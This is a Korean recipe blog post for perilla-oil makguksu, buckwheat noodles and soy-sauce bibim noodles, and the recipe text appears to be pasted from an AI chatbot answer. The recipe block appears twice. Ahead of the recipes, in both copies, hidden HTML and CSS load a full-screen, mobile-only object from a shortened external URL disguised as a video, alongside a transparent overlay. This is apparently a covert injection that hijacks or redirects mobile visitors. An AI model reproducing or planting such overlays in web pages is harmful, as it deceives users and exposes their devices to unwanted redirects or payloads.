들기름 막국수 메밀국수 간장비빔국수 레시피

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3d" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c2700843290="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:29">들기름 막국수, 메밀국수, 간장 비빔국수 레시피</h2><p data-sourcepos="3:1-3:27"><strong>집에서 간편하게 즐기는 다양한 국수 요리!</strong></p><p data-sourcepos="5:1-5:14"><strong>1. 들기름 막국수</strong></p><p data-sourcepos="7:1-7:52">고소한 들기름 향이 일품인 들기름 막국수는 간단한 재료만으로도 특별한 맛을 낼 수 있습니다.</p><ul data-sourcepos="9:1-14:0"> <li data-sourcepos="9:1-9:40"><strong>재료:</strong> 메밀면, 들기름, 간장, 설탕, 깨소금, 김가루, 쪽파</li> <li data-sourcepos="10:1-14:0"><strong>만드는 법:</strong> <ol data-sourcepos="11:5-14:0"> <li data-sourcepos="11:5-11:31">메밀면을 삶아 찬물에 헹궈 물기를 빼줍니다.</li> <li data-sourcepos="12:5-12:45">볼에 삶은 메밀면, 들기름, 간장, 설탕, 깨소금을 넣고 버무립니다.</li> <li data-sourcepos="13:5-14:0">김가루와 쪽파를 올려 마무리합니다.</li> </ol> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_eceb56a58b4f971b&quot;,&quot;c_0582878db20a723e&quot;,null,&quot;rc_bd18464eba32efd1&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://wtable./recipes/8dUWiS3p8yopZMrTHf7t59Hq"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="들기름 막국수 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQNHwCADQnYI_F8Con7npu5CW1MlpLO6z5l2VpiCLn_dUMFBrDesprYPh8iycCw"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://wtable./recipes/8dUWiS3p8yopZMrTHf7t59Hq" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_eceb56a58b4f971b&quot;,&quot;c_0582878db20a723e&quot;,null,&quot;rc_bd18464eba32efd1&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcSplMbeWaIJb_u15wME2OjJosivXTp4AJvg9HovE3o-ttouKAD-S_Ilj7FFZ5ir1o0Q8d5HZEC7nzP6Ro2yIK1iyFDZcY0W"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">wtable.</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 들기름 막국수 </div></div></single-image></response-element></div></ul><p data-sourcepos="17:1-17:11"><strong>2. 메밀국수</strong></p><p data-sourcepos="19:1-19:36">시원한 육수에 메밀면을 말아 먹는 메밀국수는 여름철 별미입니다.</p><ul data-sourcepos="21:1-27:0"> <li data-sourcepos="21:1-21:46"><strong>재료:</strong> 메밀면, 육수(멸치, 다시마 등), 간장, 설탕, 와사비, 김가루</li> <li data-sourcepos="22:1-27:0"><strong>만드는 법:</strong> <ol data-sourcepos="23:5-27:0"> <li data-sourcepos="23:5-23:29">멸치, 다시마 등으로 육수를 우려냅니다.</li> <li data-sourcepos="24:5-24:31">메밀면을 삶아 찬물에 헹궈 물기를 빼줍니다.</li> <li data-sourcepos="25:5-25:27">그릇에 면을 담고 육수를 부어줍니다.</li> <li data-sourcepos="26:5-27:0">간장, 설탕, 와사비로 간을 맞추고 김가루를 올려 마무리합니다.</li> </ol> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_eceb56a58b4f971b&quot;,&quot;c_0582878db20a723e&quot;,null,&quot;rc_bd18464eba32efd1&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/7006557"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="메밀국수 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcRL1bLZ6WQhrruw1MqZ8cNoT6WDG-O2VHejHHreECguVjnV4Ovn_817N38Mq3kN"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/7006557" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_eceb56a58b4f971b&quot;,&quot;c_0582878db20a723e&quot;,null,&quot;rc_bd18464eba32efd1&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 메밀국수 </div></div></single-image></response-element></div></ul><p data-sourcepos="30:1-30:14"><strong>3. 간장 비빔국수</strong></p><p data-sourcepos="32:1-32:45">매콤달콤한 양념에 비벼 먹는 간장 비빔국수는 남녀노소 누구나 좋아하는 메뉴입니다.</p><ul data-sourcepos="34:1-39:0"> <li data-sourcepos="34:1-34:51"><strong>재료:</strong> 소면, 간장, 고춧가루, 설탕, 다진 마늘, 참기름, 깨소금, 오이, 상추</li> <li data-sourcepos="35:1-39:0"><strong>만드는 법:</strong> <ol data-sourcepos="36:5-39:0"> <li data-sourcepos="36:5-36:30">소면을 삶아 찬물에 헹궈 물기를 빼줍니다.</li> <li data-sourcepos="37:5-37:54">볼에 간장, 고춧가루, 설탕, 다진 마늘, 참기름, 깨소금을 넣고 양념장을 만듭니다.</li> <li data-sourcepos="38:5-39:0">삶은 소면과 양념장을 버무리고, 채 썬 오이와 상추를 올려 마무리합니다.</li> </ol> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_eceb56a58b4f971b&quot;,&quot;c_0582878db20a723e&quot;,null,&quot;rc_bd18464eba32efd1&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://wtable./recipes/TYrpZcRhHki3cXKAxW8v8jBt"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="간장 비빔국수 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRVUcjADCCZKG3tw0KpP3jJvWYiLtxZBAnovkMhHyaLOE9hcc12vWbWCZ9msCAa"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://wtable./recipes/TYrpZcRhHki3cXKAxW8v8jBt" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_eceb56a58b4f971b&quot;,&quot;c_0582878db20a723e&quot;,null,&quot;rc_bd18464eba32efd1&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcSplMbeWaIJb_u15wME2OjJosivXTp4AJvg9HovE3o-ttouKAD-S_Ilj7FFZ5ir1o0Q8d5HZEC7nzP6Ro2yIK1iyFDZcY0W"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">wtable.</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 간장 비빔국수 </div></div></single-image></response-element></div></ul><p data-sourcepos="42:1-42:6"><strong>팁:</strong></p><ul data-sourcepos="44:1-48:0"> <li data-sourcepos="44:1-44:33">메밀면은 삶는 시간을 조절하여 딱딱하지 않게 익혀줍니다.</li> <li data-sourcepos="45:1-45:43">육수는 냉장고에 차게 보관했다가 사용하면 더욱 시원하게 즐길 수 있습니다.</li> <li data-sourcepos="46:1-46:28">양념장의 매운 정도는 취향에 따라 조절해줍니다.</li> <li data-sourcepos="47:1-48:0">다양한 채소를 추가하여 더욱 풍성하게 즐길 수 있습니다.</li> </ul><p data-sourcepos="49:1-49:42"><strong>집에서 간단하게 만들어 먹는 국수 요리로 맛있는 한 끼를 즐겨보세요!</strong></p><p data-sourcepos="51:1-51:26"><strong>궁금한 점이 있다면 언제든지 물어보세요.</strong></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3d" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c2700843290="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:29">들기름 막국수, 메밀국수, 간장 비빔국수 레시피</h2><p data-sourcepos="3:1-3:27"><strong>집에서 간편하게 즐기는 다양한 국수 요리!</strong></p><p data-sourcepos="5:1-5:14"><strong>1. 들기름 막국수</strong></p><p data-sourcepos="7:1-7:52">고소한 들기름 향이 일품인 들기름 막국수는 간단한 재료만으로도 특별한 맛을 낼 수 있습니다.</p><ul data-sourcepos="9:1-14:0"> <li data-sourcepos="9:1-9:40"><strong>재료:</strong> 메밀면, 들기름, 간장, 설탕, 깨소금, 김가루, 쪽파</li> <li data-sourcepos="10:1-14:0"><strong>만드는 법:</strong> <ol data-sourcepos="11:5-14:0"> <li data-sourcepos="11:5-11:31">메밀면을 삶아 찬물에 헹궈 물기를 빼줍니다.</li> <li data-sourcepos="12:5-12:45">볼에 삶은 메밀면, 들기름, 간장, 설탕, 깨소금을 넣고 버무립니다.</li> <li data-sourcepos="13:5-14:0">김가루와 쪽파를 올려 마무리합니다.</li> </ol> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_eceb56a58b4f971b","c_0582878db20a723e",null,"rc_bd18464eba32efd1",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://wtable./recipes/8dUWiS3p8yopZMrTHf7t59Hq"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="들기름 막국수 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQNHwCADQnYI_F8Con7npu5CW1MlpLO6z5l2VpiCLn_dUMFBrDesprYPh8iycCw"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://wtable./recipes/8dUWiS3p8yopZMrTHf7t59Hq" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_eceb56a58b4f971b","c_0582878db20a723e",null,"rc_bd18464eba32efd1",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSplMbeWaIJb_u15wME2OjJosivXTp4AJvg9HovE3o-ttouKAD-S_Ilj7FFZ5ir1o0Q8d5HZEC7nzP6Ro2yIK1iyFDZcY0W"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">wtable.</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 들기름 막국수 </div></div></single-image></response-element></div></ul><p data-sourcepos="17:1-17:11"><strong>2. 메밀국수</strong></p><p data-sourcepos="19:1-19:36">시원한 육수에 메밀면을 말아 먹는 메밀국수는 여름철 별미입니다.</p><ul data-sourcepos="21:1-27:0"> <li data-sourcepos="21:1-21:46"><strong>재료:</strong> 메밀면, 육수(멸치, 다시마 등), 간장, 설탕, 와사비, 김가루</li> <li data-sourcepos="22:1-27:0"><strong>만드는 법:</strong> <ol data-sourcepos="23:5-27:0"> <li data-sourcepos="23:5-23:29">멸치, 다시마 등으로 육수를 우려냅니다.</li> <li data-sourcepos="24:5-24:31">메밀면을 삶아 찬물에 헹궈 물기를 빼줍니다.</li> <li data-sourcepos="25:5-25:27">그릇에 면을 담고 육수를 부어줍니다.</li> <li data-sourcepos="26:5-27:0">간장, 설탕, 와사비로 간을 맞추고 김가루를 올려 마무리합니다.</li> </ol> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_eceb56a58b4f971b","c_0582878db20a723e",null,"rc_bd18464eba32efd1",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/7006557"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="메밀국수 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRL1bLZ6WQhrruw1MqZ8cNoT6WDG-O2VHejHHreECguVjnV4Ovn_817N38Mq3kN"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/7006557" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_eceb56a58b4f971b","c_0582878db20a723e",null,"rc_bd18464eba32efd1",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 메밀국수 </div></div></single-image></response-element></div></ul><p data-sourcepos="30:1-30:14"><strong>3. 간장 비빔국수</strong></p><p data-sourcepos="32:1-32:45">매콤달콤한 양념에 비벼 먹는 간장 비빔국수는 남녀노소 누구나 좋아하는 메뉴입니다.</p><ul data-sourcepos="34:1-39:0"> <li data-sourcepos="34:1-34:51"><strong>재료:</strong> 소면, 간장, 고춧가루, 설탕, 다진 마늘, 참기름, 깨소금, 오이, 상추</li> <li data-sourcepos="35:1-39:0"><strong>만드는 법:</strong> <ol data-sourcepos="36:5-39:0"> <li data-sourcepos="36:5-36:30">소면을 삶아 찬물에 헹궈 물기를 빼줍니다.</li> <li data-sourcepos="37:5-37:54">볼에 간장, 고춧가루, 설탕, 다진 마늘, 참기름, 깨소금을 넣고 양념장을 만듭니다.</li> <li data-sourcepos="38:5-39:0">삶은 소면과 양념장을 버무리고, 채 썬 오이와 상추를 올려 마무리합니다.</li> </ol> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_eceb56a58b4f971b","c_0582878db20a723e",null,"rc_bd18464eba32efd1",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://wtable./recipes/TYrpZcRhHki3cXKAxW8v8jBt"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="간장 비빔국수 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRVUcjADCCZKG3tw0KpP3jJvWYiLtxZBAnovkMhHyaLOE9hcc12vWbWCZ9msCAa"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://wtable./recipes/TYrpZcRhHki3cXKAxW8v8jBt" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_eceb56a58b4f971b","c_0582878db20a723e",null,"rc_bd18464eba32efd1",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSplMbeWaIJb_u15wME2OjJosivXTp4AJvg9HovE3o-ttouKAD-S_Ilj7FFZ5ir1o0Q8d5HZEC7nzP6Ro2yIK1iyFDZcY0W"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">wtable.</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 간장 비빔국수 </div></div></single-image></response-element></div></ul><p data-sourcepos="42:1-42:6"><strong>팁:</strong></p><ul data-sourcepos="44:1-48:0"> <li data-sourcepos="44:1-44:33">메밀면은 삶는 시간을 조절하여 딱딱하지 않게 익혀줍니다.</li> <li data-sourcepos="45:1-45:43">육수는 냉장고에 차게 보관했다가 사용하면 더욱 시원하게 즐길 수 있습니다.</li> <li data-sourcepos="46:1-46:28">양념장의 매운 정도는 취향에 따라 조절해줍니다.</li> <li data-sourcepos="47:1-48:0">다양한 채소를 추가하여 더욱 풍성하게 즐길 수 있습니다.</li> </ul><p data-sourcepos="49:1-49:42"><strong>집에서 간단하게 만들어 먹는 국수 요리로 맛있는 한 끼를 즐겨보세요!</strong></p><p data-sourcepos="51:1-51:26"><strong>궁금한 점이 있다면 언제든지 물어보세요.</strong></p></div> </div></div>